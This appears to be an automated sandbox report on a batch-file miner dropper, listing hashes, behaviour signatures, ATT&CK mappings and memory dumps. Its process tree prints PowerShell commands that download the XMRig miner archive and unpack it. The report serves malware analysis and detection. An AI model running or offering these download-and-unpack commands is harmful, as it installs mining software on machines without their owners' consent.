c0768ace239b9f133dfbb33d830ff9bf0580b167e2a6b0f015950f7aa2b1f768

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Analysis

max time kernel
1563s
max time network
1567s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
20/05/2024, 19:02

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General

Target

4.bat
Size

599B
MD5

798b979417aa88e5323ead9be2d8425c
SHA1

a54c5133c71afddf697f302b36bdb930c72852ce
SHA256

f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07
SHA512

a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2300	powershell.exe
6	2300	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2100	powershell.exe
2300	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2300	powershell.exe
2100	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2300	powershell.exe
Token: SeDebugPrivilege	2100	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1184 wrote to memory of 2300	1184	cmd.exe	29
PID 1184 wrote to memory of 2300	1184	cmd.exe	29
PID 1184 wrote to memory of 2300	1184	cmd.exe	29
PID 1184 wrote to memory of 2100	1184	cmd.exe	30
PID 1184 wrote to memory of 2100	1184	cmd.exe	30
PID 1184 wrote to memory of 2100	1184	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\4.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
26d82921d73ece15bd508c8cdafd5543

SHA1
f7b28fe274bea44f98b5df5a0817aedab6cca3ce

SHA256
acf5a022e649c855d15a895ede291a4f47631da96f234bb17a1facdc39920451

SHA512
8b4bf70852b98f1a7f196ec5951b2f7498bf065313fe0f87cff00f87534721e70a1c7a9b5efb33db78597a5187e85b8c6f950f6d969a906995ca3cc3b44aa664

Download Submit
memory/2100-18-0x000000001B390000-0x000000001B672000-memory.dmp

Filesize
2.9MB

Download
memory/2100-19-0x0000000002010000-0x0000000002018000-memory.dmp

Filesize
32KB

Download
memory/2300-4-0x000007FEF536E000-0x000007FEF536F000-memory.dmp

Filesize
4KB

Download
memory/2300-5-0x000000001B1A0000-0x000000001B482000-memory.dmp

Filesize
2.9MB

Download
memory/2300-6-0x0000000002410000-0x0000000002418000-memory.dmp

Filesize
32KB

Download
memory/2300-8-0x000007FEF50B0000-0x000007FEF5A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2300-7-0x000007FEF50B0000-0x000007FEF5A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2300-9-0x000007FEF50B0000-0x000007FEF5A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2300-10-0x000007FEF50B0000-0x000007FEF5A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2300-11-0x000007FEF50B0000-0x000007FEF5A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2300-12-0x000007FEF50B0000-0x000007FEF5A4D000-memory.dmp

Filesize
9.6MB

Download